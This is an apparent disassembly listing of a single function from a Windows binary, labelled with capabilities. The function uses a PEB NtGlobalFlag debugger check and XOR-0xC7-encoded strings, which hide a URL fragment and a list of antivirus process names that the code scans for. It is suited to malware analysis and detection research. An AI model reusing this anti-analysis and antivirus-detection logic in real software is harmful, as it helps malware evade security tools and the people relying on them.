Function at 0x406b30
Capabilities:
Check for peb ntglobalflag flag
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x13dc
call fcn.00441080
mov eax, dword [0x473a30]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov esi, ecx
push 0x104
lea edi, [esi + 0x410]
xor ebx, ebx
push edi
push ebx
mov dword [ebp - 0x13d4], esi
mov dword [ebp - 0x13d0], ebx
mov dword [esi + 0x400], 1
mov dword [ebp - 8], edi
call dword [0x45931c]
push 0x5c
push edi
call fcn.0043d802
pop ecx
pop ecx
cmp eax, ebx
je 0x406bd6
inc eax
inc eax
mov dword [ebp - 0x13cc], eax
je 0x406bd6
lea edx, [esi + 0x618]
mov eax, edi
sub edx, edi
movzx ecx, word [eax]
mov word [edx + eax], cx
inc eax
inc eax
cmp cx, bx
jne 0x406b9c
mov edi, dword [ebp - 0x13cc]
lea eax, [esi + 0x38c]
push eax
push edi
lea ebx, [ebp - 0x13d8]
mov dword [ebp - 0x13d8], 0x50
call fcn.00408555
xor eax, eax
pop ecx
pop ecx
mov word [edi], ax
xor ebx, ebx
lea eax, [esi + 0x38c]
jmp 0x406be7
cmp byte [eax], 0x40
jne 0x406be6
mov byte [eax], 0x5f
inc eax
cmp byte [eax], bl
jne 0x406bde
mov eax, dword [0x461d50]
mov dword [esi + 0x37c], eax
mov eax, dword [0x461d54]
mov edi, 0x200
push edi
mov dword [esi + 0x380], eax
lea eax, [esi + 0x40]
push ebx
push eax
mov byte [ebp - 0x27], 0xb3
mov byte [ebp - 0x26], 0xb3
mov byte [ebp - 0x25], 0xb7
mov byte [ebp - 0x24], 0xfd
mov byte [ebp - 0x23], 0xe8
mov byte [ebp - 0x22], 0xe8
mov byte [ebp - 0x21], 0xb7
mov byte [ebp - 0x20], 0xb1
mov byte [ebp - 0x1f], 0xe9
mov byte [ebp - 0x1e], 0xb4
mov byte [ebp - 0x1d], 0xa8
mov byte [ebp - 0x1c], 0xaf
mov byte [ebp - 0x1b], 0xb2
mov byte [ebp - 0x1a], 0xe9
mov byte [ebp - 0x19], 0xa4
mov byte [ebp - 0x18], 0xa8
mov byte [ebp - 0x17], 0xaa
mov byte [ebp - 0x16], 0xe8
mov byte [ebp - 0x15], 0xa4
mov byte [ebp - 0x14], 0xae
mov byte [ebp - 0x13], 0xb3
mov byte [ebp - 0x12], 0xbe
mov byte [ebp - 0x11], 0xad
mov byte [ebp - 0x10], 0xb4
mov byte [ebp - 0xf], 0xa8
mov byte [ebp - 0xe], 0xa9
mov byte [ebp - 0xd], 0xc7
call fcn.0043ee90
add esp, 0xc
mov dword [ebp - 0x13d8], edi
lea eax, [ebp - 0x28]
mov byte [ebp - 0x28], 0x68
inc eax
xor byte [eax], 0xc7
jne 0x406c8d
lea eax, [esi + 0x40]
push eax
lea eax, [ebp - 0x28]
push eax
lea edi, [ebp - 0x13d8]
call fcn.0040bf10
lea eax, [esi + 0x40]
push 0x3b
push eax
call fcn.0043d830
add esp, 0x10
cmp eax, ebx
je 0x406cba
mov byte [eax], bl
lea eax, [esi + 0x40]
push 0x7b
push eax
call fcn.0043ce10
pop ecx
pop ecx
cmp eax, ebx
je 0x406ce8
mov ecx, eax
lea edi, [ecx + 1]
mov dl, byte [ecx]
inc ecx
cmp dl, bl
jne 0x406cd0
sub ecx, edi
inc ecx
push ecx
push eax
lea eax, [esi + 0x40]
push eax
call fcn.00444bc0
add esp, 0xc
push 0x6e
lea eax, [ebp - 0x1196]
push ebx
push eax
mov dword [esi + 0x3fc], ebx
mov byte [ebp - 0x11a8], 0x9d
mov byte [ebp - 0x11a7], 0xaf
mov byte [ebp - 0x11a6], 0xb2
mov byte [ebp - 0x11a5], 0x83
mov byte [ebp - 0x11a4], 0xa8
mov byte [ebp - 0x11a3], 0xa9
mov byte [ebp - 0x11a2], 0xa0
mov byte [ebp - 0x11a1], 0x81
mov byte [ebp - 0x11a0], 0xa6
mov byte [ebp - 0x119f], 0xa9
mov byte [ebp - 0x119e], 0xa0
mov byte [ebp - 0x119d], 0x9e
mov byte [ebp - 0x119c], 0xb2
mov byte [ebp - 0x119b], 0xe9
mov byte [ebp - 0x119a], 0xa2
mov byte [ebp - 0x1199], 0xbf
mov byte [ebp - 0x1198], 0xa2
mov byte [ebp - 0x1197], 0xc7
call fcn.0043ee90
add esp, 0xc
push 0x74
lea eax, [ebp - 0x111c]
push ebx
push eax
mov byte [ebp - 0x1128], 0xf4
mov byte [ebp - 0x1127], 0xf1
mov byte [ebp - 0x1126], 0xf7
mov byte [ebp - 0x1125], 0x94
mov byte [ebp - 0x1124], 0xa6
mov byte [ebp - 0x1123], 0xa1
mov byte [ebp - 0x1122], 0xa2
mov byte [ebp - 0x1121], 0xe9
mov byte [ebp - 0x1120], 0xa2
mov byte [ebp - 0x111f], 0xbf
mov byte [ebp - 0x111e], 0xa2
mov byte [ebp - 0x111d], 0xc7
call fcn.0043ee90
add esp, 0xc
push 0x74
lea eax, [ebp - 0x109c]
push ebx
push eax
mov byte [ebp - 0x10a8], 0xf4
mov byte [ebp - 0x10a7], 0xf1
mov byte [ebp - 0x10a6], 0xf7
mov byte [ebp - 0x10a5], 0x93
mov byte [ebp - 0x10a4], 0xb5
mov byte [ebp - 0x10a3], 0xa6
mov byte [ebp - 0x10a2], 0xbe
mov byte [ebp - 0x10a1], 0xe9
mov byte [ebp - 0x10a0], 0xa2
mov byte [ebp - 0x109f], 0xbf
mov byte [ebp - 0x109e], 0xa2
mov byte [ebp - 0x109d], 0xc7
call fcn.0043ee90
add esp, 0xc
push 0x76
lea eax, [ebp - 0x101e]
push ebx
push eax
mov byte [ebp - 0x1028], 0xf4
mov byte [ebp - 0x1027], 0xf1
mov byte [ebp - 0x1026], 0xf7
mov byte [ebp - 0x1025], 0xb4
mov byte [ebp - 0x1024], 0xa3
mov byte [ebp - 0x1023], 0xe9
mov byte [ebp - 0x1022], 0xa2
mov byte [ebp - 0x1021], 0xbf
mov byte [ebp - 0x1020], 0xa2
mov byte [ebp - 0x101f], 0xc7
call fcn.0043ee90
add esp, 0xc
mov byte [ebp - 0xfa8], 0xf4
mov byte [ebp - 0xfa7], 0xf1
mov byte [ebp - 0xfa6], 0xf7
mov byte [ebp - 0xfa5], 0xb5
push 0x76
lea eax, [ebp - 0xf9e]
push ebx
push eax
mov byte [ebp - 0xfa4], 0xb7
mov byte [ebp - 0xfa3], 0xe9
mov byte [ebp - 0xfa2], 0xa2
mov byte [ebp - 0xfa1], 0xbf
mov byte [ebp - 0xfa0], 0xa2
mov byte [ebp - 0xf9f], 0xc7
call fcn.0043ee90
add esp, 0xc
push 0x75
lea eax, [ebp - 0xf1d]
push ebx
push eax
mov byte [ebp - 0xf28], 0xf4
mov byte [ebp - 0xf27], 0xf1
mov byte [ebp - 0xf26], 0xf7
mov byte [ebp - 0xf25], 0xb5
mov byte [ebp - 0xf24], 0xb7
mov byte [ebp - 0xf23], 0xb4
mov byte [ebp - 0xf22], 0xe9
mov byte [ebp - 0xf21], 0xa2
mov byte [ebp - 0xf20], 0xbf
mov byte [ebp - 0xf1f], 0xa2
mov byte [ebp - 0xf1e], 0xc7
call fcn.0043ee90
add esp, 0xc
push 0x74
lea eax, [ebp - 0xe9c]
push ebx
push eax
mov byte [ebp - 0xea8], 0x96
mov byte [ebp - 0xea7], 0x96
mov byte [ebp - 0xea6], 0x97
mov byte [ebp - 0xea5], 0x84
mov byte [ebp - 0xea4], 0x95
mov byte [ebp - 0xea3], 0x93
mov byte [ebp - 0xea2], 0x97
mov byte [ebp - 0xea1], 0xe9
mov byte [ebp - 0xea0], 0xa2
mov byte [ebp - 0xe9f], 0xbf
mov byte [ebp - 0xe9e], 0xa2
mov byte [ebp - 0xe9d], 0xc7
call fcn.0043ee90
add esp, 0xc
push 0x73
pop edi
push edi
lea eax, [ebp - 0xe1b]
push ebx
push eax
mov byte [ebp - 0xe28], 0x96
mov byte [ebp - 0xe27], 0x96
mov byte [ebp - 0xe26], 0x97
mov byte [ebp - 0xe25], 0x84
mov byte [ebp - 0xe24], 0x93
mov byte [ebp - 0xe23], 0xb5
mov byte [ebp - 0xe22], 0xa6
mov byte [ebp - 0xe21], 0xbe
mov byte [ebp - 0xe20], 0xe9
mov byte [ebp - 0xe1f], 0xa2
mov byte [ebp - 0xe1e], 0xbf
mov byte [ebp - 0xe1d], 0xa2
mov byte [ebp - 0xe1c], 0xc7
call fcn.0043ee90
add esp, 0xc
mov byte [ebp - 0xda8], 0xac
mov byte [ebp - 0xda7], 0xbf
mov byte [ebp - 0xda6], 0xa2
mov byte [ebp - 0xda5], 0xb3
mov byte [ebp - 0xda4], 0xb5
mov byte [ebp - 0xda3], 0xa6
mov byte [ebp - 0xda2], 0xbe
mov byte [ebp - 0xda1], 0xe9
mov byte [ebp - 0xda0], 0xa2
mov byte [ebp - 0xd9f], 0xbf
mov byte [ebp - 0xd9e], 0xa2
mov byte [ebp - 0xd9d], 0xc7
push 0x74
lea eax, [ebp - 0xd9c]
push ebx
push eax
call fcn.0043ee90
add esp, 0xc
push 0x74
lea eax, [ebp - 0xd1c]
push ebx
push eax
mov byte [ebp - 0xd28], 0xac
mov byte [ebp - 0xd27], 0xae
mov byte [ebp - 0xd26], 0xb4
mov byte [ebp - 0xd25], 0xab
mov byte [ebp - 0xd24], 0xae
mov byte [ebp - 0xd23], 0xb1
mov byte [ebp - 0xd22], 0xa2
mov byte [ebp - 0xd21], 0xe9
mov byte [ebp - 0xd20], 0xa2
mov byte [ebp - 0xd1f], 0xbf
mov byte [ebp - 0xd1e], 0xa2
mov byte [ebp - 0xd1d], 0xc7
call fcn.0043ee90
add esp, 0xc
push 0x72
lea eax, [ebp - 0xc9a]
push ebx
push eax
mov byte [ebp - 0xca8], 0xac
mov byte [ebp - 0xca7], 0xa9
mov byte [ebp - 0xca6], 0xa5
mov byte [ebp - 0xca5], 0xa4
mov byte [ebp - 0xca4], 0xa2
mov byte [ebp - 0xca3], 0xa9
mov byte [ebp - 0xca2], 0xb3
mov byte [ebp - 0xca1], 0xa2
mov byte [ebp - 0xca0], 0xb5
mov byte [ebp - 0xc9f], 0xe9
mov byte [ebp - 0xc9e], 0xa2
mov byte [ebp - 0xc9d], 0xbf
mov byte [ebp - 0xc9c], 0xa2
mov byte [ebp - 0xc9b], 0xc7
call fcn.0043ee90
add esp, 0xc
push edi
lea eax, [ebp - 0xc1b]
push ebx
push eax
mov byte [ebp - 0xc28], 0xac
mov byte [ebp - 0xc27], 0xbf
mov byte [ebp - 0xc26], 0xa2
mov byte [ebp - 0xc25], 0xb4
mov byte [ebp - 0xc24], 0xa4
mov byte [ebp - 0xc23], 0xa8
mov byte [ebp - 0xc22], 0xb5
mov byte [ebp - 0xc21], 0xa2
mov byte [ebp - 0xc20], 0xe9
mov byte [ebp - 0xc1f], 0xa2
mov byte [ebp - 0xc1e], 0xbf
mov byte [ebp - 0xc1d], 0xa2
mov byte [ebp - 0xc1c], 0xc7
call fcn.0043ee90
add esp, 0xc
push 0x6f
mov byte [ebp - 0xba8], 0xac
mov byte [ebp - 0xba7], 0xb0
mov byte [ebp - 0xba6], 0xb4
mov byte [ebp - 0xba5], 0xb7
mov byte [ebp - 0xba4], 0xb5
mov byte [ebp - 0xba3], 0xa8
mov byte [ebp - 0xba2], 0xb3
mov byte [ebp - 0xba1], 0xa2
mov byte [ebp - 0xba0], 0xa4
mov byte [ebp - 0xb9f], 0xb3
mov byte [ebp - 0xb9e], 0xf1
mov byte [ebp - 0xb9d], 0xf3
mov byte [ebp - 0xb9c], 0xe9
mov byte [ebp - 0xb9b], 0xa2
mov byte [ebp - 0xb9a], 0xbf
mov byte [ebp - 0xb99], 0xa2
mov byte [ebp - 0xb98], 0xc7
push ebx
lea eax, [ebp - 0xb97]
push eax
call fcn.0043ee90
add esp, 0xc
push 0x71
lea eax, [ebp - 0xb19]
push ebx
push eax
mov byte [ebp - 0xb28], 0xac
mov byte [ebp - 0xb27], 0xb7
mov byte [ebp - 0xb26], 0xaf
mov byte [ebp - 0xb25], 0xa8
mov byte [ebp - 0xb24], 0xa9
mov byte [ebp - 0xb23], 0xa2
mov byte [ebp - 0xb22], 0xb3
mov byte [ebp - 0xb21], 0xb5
mov byte [ebp - 0xb20], 0xa6
mov byte [ebp - 0xb1f], 0xbe
mov byte [ebp - 0xb1e], 0xe9
mov byte [ebp - 0xb1d], 0xa2
mov byte [ebp - 0xb1c], 0xbf
mov byte [ebp - 0xb1b], 0xa2
mov byte [ebp - 0xb1a], 0xc7
call fcn.0043ee90
add esp, 0xc
push edi
lea eax, [ebp - 0xa9b]
push ebx
push eax
mov byte [ebp - 0xaa8], 0xb0
mov byte [ebp - 0xaa7], 0xa6
mov byte [ebp - 0xaa6], 0xa9
mov byte [ebp - 0xaa5], 0xbf
mov byte [ebp - 0xaa4], 0xae
mov byte [ebp - 0xaa3], 0xa6
mov byte [ebp - 0xaa2], 0xa9
mov byte [ebp - 0xaa1], 0xa0
mov byte [ebp - 0xaa0], 0xe9
mov byte [ebp - 0xa9f], 0xa2
mov byte [ebp - 0xa9e], 0xbf
mov byte [ebp - 0xa9d], 0xa2
mov byte [ebp - 0xa9c], 0xc7
call fcn.0043ee90
add esp, 0xc
push 0x75
lea eax, [ebp - 0xa1d]
push ebx
push eax
mov byte [ebp - 0xa28], 0xb7
mov byte [ebp - 0xa27], 0xb2
mov byte [ebp - 0xa26], 0xa5
mov byte [ebp - 0xa25], 0xb0
mov byte [ebp - 0xa24], 0xae
mov byte [ebp - 0xa23], 0xa9
mov byte [ebp - 0xa22], 0xe9
mov byte [ebp - 0xa21], 0xa2
mov byte [ebp - 0xa20], 0xbf
mov byte [ebp - 0xa1f], 0xa2
mov byte [ebp - 0xa1e], 0xc7
call fcn.0043ee90
add esp, 0xc
push 0x71
lea eax, [ebp - 0x999]
push ebx
push eax
mov byte [ebp - 0x9a8], 0xbe
mov byte [ebp - 0x9a7], 0xa6
mov byte [ebp - 0x9a6], 0xa8
mov byte [ebp - 0x9a5], 0xb6
mov byte [ebp - 0x9a4], 0xae
mov byte [ebp - 0x9a3], 0xa6
mov byte [ebp - 0x9a2], 0xa9
mov byte [ebp - 0x9a1], 0xb4
mov byte [ebp - 0x9a0], 0xaf
mov byte [ebp - 0x99f], 0xb2
mov byte [ebp - 0x99e], 0xe9
mov byte [ebp - 0x99d], 0xa2
mov byte [ebp - 0x99c], 0xbf
mov byte [ebp - 0x99b], 0xa2
mov byte [ebp - 0x99a], 0xc7
call fcn.0043ee90
add esp, 0xc
push 0x71
lea eax, [ebp - 0x919]
push ebx
push eax
mov byte [ebp - 0x928], 0x81
mov byte [ebp - 0x927], 0xb5
mov byte [ebp - 0x926], 0xbd
mov byte [ebp - 0x925], 0x94
mov byte [ebp - 0x924], 0xb3
mov byte [ebp - 0x923], 0xa6
mov byte [ebp - 0x922], 0xb3
mov byte [ebp - 0x921], 0xa2
mov byte [ebp - 0x920], 0xf5
mov byte [ebp - 0x91f], 0xac
mov byte [ebp - 0x91e], 0xe9
mov byte [ebp - 0x91d], 0xa2
mov byte [ebp - 0x91c], 0xbf
mov byte [ebp - 0x91b], 0xa2
mov byte [ebp - 0x91a], 0xc7
call fcn.0043ee90
add esp, 0xc
push edi
lea eax, [ebp - 0x89b]
push ebx
push eax
mov byte [ebp - 0x8a8], 0xa1
mov byte [ebp - 0x8a7], 0xbd
mov byte [ebp - 0x8a6], 0xa4
mov byte [ebp - 0x8a5], 0xab
mov byte [ebp - 0x8a4], 0xae
mov byte [ebp - 0x8a3], 0xa2
mov byte [ebp - 0x8a2], 0xa9
mov byte [ebp - 0x8a1], 0xb3
mov byte [ebp - 0x8a0], 0xe9
mov byte [ebp - 0x89f], 0xa2
mov byte [ebp - 0x89e], 0xbf
mov byte [ebp - 0x89d], 0xa2
mov byte [ebp - 0x89c], 0xc7
call fcn.0043ee90
add esp, 0xc
push 0x75
lea eax, [ebp - 0x81d]
push ebx
push eax
mov byte [ebp - 0x828], 0x83
mov byte [ebp - 0x827], 0x81
mov byte [ebp - 0x826], 0x94
mov byte [ebp - 0x825], 0xa2
mov byte [ebp - 0x824], 0xb5
mov byte [ebp - 0x823], 0xb1
mov byte [ebp - 0x822], 0xe9
mov byte [ebp - 0x821], 0xa2
mov byte [ebp - 0x820], 0xbf
mov byte [ebp - 0x81f], 0xa2
mov byte [ebp - 0x81e], 0xc7
call fcn.0043ee90
add esp, 0xc
push 0x6c
mov byte [ebp - 0x7a8], 0x85
mov byte [ebp - 0x7a7], 0xa6
mov byte [ebp - 0x7a6], 0xb5
mov byte [ebp - 0x7a5], 0x84
mov byte [ebp - 0x7a4], 0xaf
mov byte [ebp - 0x7a3], 0xa6
mov byte [ebp - 0x7a2], 0xb5
mov byte [ebp - 0x7a1], 0xa0
mov byte [ebp - 0x7a0], 0xa2
mov byte [ebp - 0x79f], 0xb4
mov byte [ebp - 0x79e], 0x97
mov byte [ebp - 0x79d], 0xb5
mov byte [ebp - 0x79c], 0xa8
mov byte [ebp - 0x79b], 0xbf
mov byte [ebp - 0x79a], 0xbe
mov byte [ebp - 0x799], 0xe9
mov byte [ebp - 0x798], 0xa2
mov byte [ebp - 0x797], 0xbf
mov byte [ebp - 0x796], 0xa2
mov byte [ebp - 0x795], 0xc7
push ebx
lea eax, [ebp - 0x794]
push eax
call fcn.0043ee90
add esp, 0xc
push 0x70
lea eax, [ebp - 0x718]
push ebx
push eax
mov byte [ebp - 0x728], 0x97
mov byte [ebp - 0x727], 0xa8
mov byte [ebp - 0x726], 0xb0
mov byte [ebp - 0x725], 0xa2
mov byte [ebp - 0x724], 0xb5
mov byte [ebp - 0x723], 0x95
mov byte [ebp - 0x722], 0xa2
mov byte [ebp - 0x721], 0xaa
mov byte [ebp - 0x720], 0xae
mov byte [ebp - 0x71f], 0xa9
mov byte [ebp - 0x71e], 0xa3
mov byte [ebp - 0x71d], 0xe9
mov byte [ebp - 0x71c], 0xa2
mov byte [ebp - 0x71b], 0xbf
mov byte [ebp - 0x71a], 0xa2
mov byte [ebp - 0x719], 0xc7
call fcn.0043ee90
add esp, 0xc
push edi
lea eax, [ebp - 0x69b]
push ebx
push eax
mov byte [ebp - 0x6a8], 0xb0
mov byte [ebp - 0x6a7], 0xbf
mov byte [ebp - 0x6a6], 0x94
mov byte [ebp - 0x6a5], 0xa2
mov byte [ebp - 0x6a4], 0xb5
mov byte [ebp - 0x6a3], 0xb1
mov byte [ebp - 0x6a2], 0xa2
mov byte [ebp - 0x6a1], 0xb5
mov byte [ebp - 0x6a0], 0xe9
mov byte [ebp - 0x69f], 0xa2
mov byte [ebp - 0x69e], 0xbf
mov byte [ebp - 0x69d], 0xa2
mov byte [ebp - 0x69c], 0xc7
call fcn.0043ee90
add esp, 0xc
push 0x6f
lea eax, [ebp - 0x617]
push ebx
push eax
mov byte [ebp - 0x628], 0x83
mov byte [ebp - 0x627], 0xae
mov byte [ebp - 0x626], 0xb4
mov byte [ebp - 0x625], 0xac
mov byte [ebp - 0x624], 0xab
mov byte [ebp - 0x623], 0xa2
mov byte [ebp - 0x622], 0xb4
mov byte [ebp - 0x621], 0xb4
mov byte [ebp - 0x620], 0x91
mov byte [ebp - 0x61f], 0xae
mov byte [ebp - 0x61e], 0xa2
mov byte [ebp - 0x61d], 0xb0
mov byte [ebp - 0x61c], 0xe9
mov byte [ebp - 0x61b], 0xa2
mov byte [ebp - 0x61a], 0xbf
mov byte [ebp - 0x619], 0xa2
mov byte [ebp - 0x618], 0xc7
call fcn.0043ee90
add esp, 0xc
mov byte [ebp - 0x5a8], 0x85
mov byte [ebp - 0x5a7], 0xa6
mov byte [ebp - 0x5a6], 0xb5
mov byte [ebp - 0x5a5], 0x84
mov byte [ebp - 0x5a4], 0xab
mov byte [ebp - 0x5a3], 0xae
mov byte [ebp - 0x5a2], 0xa2
mov byte [ebp - 0x5a1], 0xa9
mov byte [ebp - 0x5a0], 0xb3
mov byte [ebp - 0x59f], 0x91
mov byte [ebp - 0x59e], 0xae
mov byte [ebp - 0x59d], 0xa2
mov byte [ebp - 0x59c], 0xb0
mov byte [ebp - 0x59b], 0xe9
push 0x6e
lea eax, [ebp - 0x596]
push ebx
push eax
mov byte [ebp - 0x59a], 0xa2
mov byte [ebp - 0x599], 0xbf
mov byte [ebp - 0x598], 0xa2
mov byte [ebp - 0x597], 0xc7
call fcn.0043ee90
add esp, 0xc
push 0x71
lea eax, [ebp - 0x519]
push ebx
push eax
mov byte [ebp - 0x528], 0x8f
mov byte [ebp - 0x527], 0xae
mov byte [ebp - 0x526], 0xa9
mov byte [ebp - 0x525], 0xb3
mov byte [ebp - 0x524], 0x84
mov byte [ebp - 0x523], 0xab
mov byte [ebp - 0x522], 0xae
mov byte [ebp - 0x521], 0xa2
mov byte [ebp - 0x520], 0xa9
mov byte [ebp - 0x51f], 0xb3
mov byte [ebp - 0x51e], 0xe9
mov byte [ebp - 0x51d], 0xa2
mov byte [ebp - 0x51c], 0xbf
mov byte [ebp - 0x51b], 0xa2
mov byte [ebp - 0x51a], 0xc7
call fcn.0043ee90
add esp, 0xc
push 0x71
lea eax, [ebp - 0x499]
push ebx
push eax
mov byte [ebp - 0x4a8], 0x83
mov byte [ebp - 0x4a7], 0xa2
mov byte [ebp - 0x4a6], 0xb4
mov byte [ebp - 0x4a5], 0xac
mov byte [ebp - 0x4a4], 0xb3
mov byte [ebp - 0x4a3], 0xa8
mov byte [ebp - 0x4a2], 0xb7
mov byte [ebp - 0x4a1], 0x89
mov byte [ebp - 0x4a0], 0xa6
mov byte [ebp - 0x49f], 0xb1
mov byte [ebp - 0x49e], 0xe9
mov byte [ebp - 0x49d], 0xa2
mov byte [ebp - 0x49c], 0xbf
mov byte [ebp - 0x49b], 0xa2
mov byte [ebp - 0x49a], 0xc7
call fcn.0043ee90
add esp, 0xc
push 0x70
lea eax, [ebp - 0x418]
push ebx
push eax
mov byte [ebp - 0x428], 0xa1
mov byte [ebp - 0x427], 0xb5
mov byte [ebp - 0x426], 0xa2
mov byte [ebp - 0x425], 0xa2
mov byte [ebp - 0x424], 0xbd
mov byte [ebp - 0x423], 0xa2
mov byte [ebp - 0x422], 0xaa
mov byte [ebp - 0x421], 0xa6
mov byte [ebp - 0x420], 0xa0
mov byte [ebp - 0x41f], 0xae
mov byte [ebp - 0x41e], 0xa4
mov byte [ebp - 0x41d], 0xe9
mov byte [ebp - 0x41c], 0xa2
mov byte [ebp - 0x41b], 0xbf
mov byte [ebp - 0x41a], 0xa2
mov byte [ebp - 0x419], 0xc7
call fcn.0043ee90
add esp, 0xc
mov byte [ebp - 0x3a8], 0x91
mov byte [ebp - 0x3a7], 0x85
mov byte [ebp - 0x3a6], 0xa8
mov byte [ebp - 0x3a5], 0xbf
mov byte [ebp - 0x3a4], 0x93
mov byte [ebp - 0x3a3], 0xb5
mov byte [ebp - 0x3a2], 0xa6
push edi
lea eax, [ebp - 0x39b]
push ebx
push eax
mov byte [ebp - 0x3a1], 0xbe
mov byte [ebp - 0x3a0], 0xe9
mov byte [ebp - 0x39f], 0xa2
mov byte [ebp - 0x39e], 0xbf
mov byte [ebp - 0x39d], 0xa2
mov byte [ebp - 0x39c], 0xc7
call fcn.0043ee90
add esp, 0xc
push 0x70
lea eax, [ebp - 0x318]
push ebx
push eax
mov byte [ebp - 0x328], 0x91
mov byte [ebp - 0x327], 0x85
mov byte [ebp - 0x326], 0xa8
mov byte [ebp - 0x325], 0xbf
mov byte [ebp - 0x324], 0x94
mov byte [ebp - 0x323], 0xa2
mov byte [ebp - 0x322], 0xb5
mov byte [ebp - 0x321], 0xb1
mov byte [ebp - 0x320], 0xae
mov byte [ebp - 0x31f], 0xa4
mov byte [ebp - 0x31e], 0xa2
mov byte [ebp - 0x31d], 0xe9
mov byte [ebp - 0x31c], 0xa2
mov byte [ebp - 0x31b], 0xbf
mov byte [ebp - 0x31a], 0xa2
mov byte [ebp - 0x319], 0xc7
call fcn.0043ee90
add esp, 0xc
push 0x71
lea eax, [ebp - 0x299]
push ebx
push eax
mov byte [ebp - 0x2a8], 0x91
mov byte [ebp - 0x2a7], 0x8a
mov byte [ebp - 0x2a6], 0xb0
mov byte [ebp - 0x2a5], 0xa6
mov byte [ebp - 0x2a4], 0xb5
mov byte [ebp - 0x2a3], 0xa2
mov byte [ebp - 0x2a2], 0x92
mov byte [ebp - 0x2a1], 0xb4
mov byte [ebp - 0x2a0], 0xa2
mov byte [ebp - 0x29f], 0xb5
mov byte [ebp - 0x29e], 0xe9
mov byte [ebp - 0x29d], 0xa2
mov byte [ebp - 0x29c], 0xbf
mov byte [ebp - 0x29b], 0xa2
mov byte [ebp - 0x29a], 0xc7
call fcn.0043ee90
add esp, 0xc
push 0x71
lea eax, [ebp - 0x219]
push ebx
push eax
mov byte [ebp - 0x228], 0x91
mov byte [ebp - 0x227], 0x8a
mov byte [ebp - 0x226], 0xb0
mov byte [ebp - 0x225], 0xa6
mov byte [ebp - 0x224], 0xb5
mov byte [ebp - 0x223], 0xa2
mov byte [ebp - 0x222], 0x93
mov byte [ebp - 0x221], 0xb5
mov byte [ebp - 0x220], 0xa6
mov byte [ebp - 0x21f], 0xbe
mov byte [ebp - 0x21e], 0xe9
mov byte [ebp - 0x21d], 0xa2
mov byte [ebp - 0x21c], 0xbf
mov byte [ebp - 0x21b], 0xa2
mov byte [ebp - 0x21a], 0xc7
call fcn.0043ee90
add esp, 0xc
mov byte [ebp - 0x1a8], 0x91
mov byte [ebp - 0x1a7], 0x8a
mov byte [ebp - 0x1a6], 0x92
mov byte [ebp - 0x1a5], 0xb7
mov byte [ebp - 0x1a4], 0xa0
push 0x6c
lea eax, [ebp - 0x194]
push ebx
push eax
mov byte [ebp - 0x1a3], 0xb5
mov byte [ebp - 0x1a2], 0xa6
mov byte [ebp - 0x1a1], 0xa3
mov byte [ebp - 0x1a0], 0xa2
mov byte [ebp - 0x19f], 0x8f
mov byte [ebp - 0x19e], 0xa2
mov byte [ebp - 0x19d], 0xab
mov byte [ebp - 0x19c], 0xb7
mov byte [ebp - 0x19b], 0xa2
mov byte [ebp - 0x19a], 0xb5
mov byte [ebp - 0x199], 0xe9
mov byte [ebp - 0x198], 0xa2
mov byte [ebp - 0x197], 0xbf
mov byte [ebp - 0x196], 0xa2
mov byte [ebp - 0x195], 0xc7
call fcn.0043ee90
add esp, 0xc
push edi
lea eax, [ebp - 0x11b]
push ebx
push eax
mov byte [ebp - 0x128], 0xb1
mov byte [ebp - 0x127], 0xaa
mov byte [ebp - 0x126], 0xb3
mov byte [ebp - 0x125], 0xa8
mov byte [ebp - 0x124], 0xa8
mov byte [ebp - 0x123], 0xab
mov byte [ebp - 0x122], 0xb4
mov byte [ebp - 0x121], 0xa3
mov byte [ebp - 0x120], 0xe9
mov byte [ebp - 0x11f], 0xa2
mov byte [ebp - 0x11e], 0xbf
mov byte [ebp - 0x11d], 0xa2
mov byte [ebp - 0x11c], 0xc7
call fcn.0043ee90
add esp, 0xc
push edi
lea eax, [ebp - 0x9b]
push ebx
push eax
mov byte [ebp - 0xa8], 0xb1
mov byte [ebp - 0xa7], 0xaa
mov byte [ebp - 0xa6], 0xa6
mov byte [ebp - 0xa5], 0xa4
mov byte [ebp - 0xa4], 0xb3
mov byte [ebp - 0xa3], 0xaf
mov byte [ebp - 0xa2], 0xab
mov byte [ebp - 0xa1], 0xb7
mov byte [ebp - 0xa0], 0xe9
mov byte [ebp - 0x9f], 0xa2
mov byte [ebp - 0x9e], 0xbf
mov byte [ebp - 0x9d], 0xa2
mov byte [ebp - 0x9c], 0xc7
call fcn.0043ee90
add esp, 0xc
push 0x100
lea eax, [ebp - 0x12a8]
push ebx
push eax
call fcn.0043ee90
add esp, 0xc
xor edi, edi
lea ebx, [ebp - 0x11a8]
xor byte [ebx], 0xc7
mov eax, ebx
je 0x407d0b
inc eax
xor byte [eax], 0xc7
jne 0x407d05
call fcn.0040813d
test eax, eax
ja 0x407d1f
inc edi
sub ebx, 0xffffff80
cmp edi, 6
jb 0x407cfe
jmp 0x407d49
or dword [esi + 0x3fc], 2
lea edi, [ebp - 0x12a8]
dec edi
dec edi
mov ax, word [edi + 2]
inc edi
inc edi
test ax, ax
jne 0x407d2e
mov esi, 0x461d58
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov esi, dword [ebp - 0x13d4]
xor edi, edi
lea ebx, [ebp - 0xea8]
xor byte [ebx], 0xc7
mov eax, ebx
je 0x407d5e
inc eax
xor byte [eax], 0xc7
jne 0x407d58
call fcn.0040813d
test eax, eax
ja 0x407d72
inc edi
sub ebx, 0xffffff80
cmp edi, 2
jb 0x407d51
jmp 0x407d9a
or dword [esi + 0x3fc], 1
lea edi, [ebp - 0x12a8]
dec edi
dec edi
mov ax, word [edi + 2]
inc edi
inc edi
test ax, ax
jne 0x407d81
mov esi, 0x461d68
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov esi, dword [ebp - 0x13d4]
xor edi, edi
lea ebx, [ebp - 0xda8]
xor byte [ebx], 0xc7
mov eax, ebx
je 0x407daf
inc eax
xor byte [eax], 0xc7
jne 0x407da9
call fcn.0040813d
test eax, eax
ja 0x407dc3
inc edi
sub ebx, 0xffffff80
cmp edi, 6
jb 0x407da2
jmp 0x407deb
or dword [esi + 0x3fc], 8
lea edi, [ebp - 0x12a8]
dec edi
dec edi
mov ax, word [edi + 2]
inc edi
inc edi
test ax, ax
jne 0x407dd2
mov esi, 0x461d74
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
